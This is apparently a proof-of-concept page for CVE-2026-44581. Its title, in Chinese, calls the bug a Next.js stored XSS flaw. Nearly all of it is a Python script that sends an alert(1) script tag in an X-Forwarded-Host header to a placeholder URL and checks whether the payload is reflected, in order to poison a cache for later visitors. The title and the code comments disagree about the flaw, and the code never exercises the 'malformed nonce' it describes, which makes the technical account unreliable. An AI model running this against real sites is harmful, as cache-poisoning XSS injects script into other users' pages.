CVE-2026-44581 Next.js 存储型XSS漏洞

import requests # PoC for CVE-2026-44581: Next.js Cache Poisoning via Malformed Nonce # Description: Attempts to inject a malformed nonce header to poison the cache. target_url = "http://vulnerable-nextjs-app.com/api/page" # The attacker sends a request with a header that causes a malformed nonce generation # which is then reflected unsafely in the HTML. malicious_headers = { "User-Agent": "PoC-Client/1.0", "X-Forwarded-Host": "<script>alert(1)</script>", # Example header influencing nonce/logic "Accept-Encoding": "gzip, deflate" } try: print(f"[*] Sending payload to {target_url}...") response = requests.get(target_url, headers=malicious_headers) # Check if the payload is reflected in the response (potential cache poisoning) if "<script>alert(1)</script>" in response.text: print("[+] Potential vulnerability triggered! Payload reflected in response.") print("[+] Cache might be poisoned. Subsequent users may be affected.") else: print("[-] Payload not reflected.") except Exception as e: print(f"Error: {e}")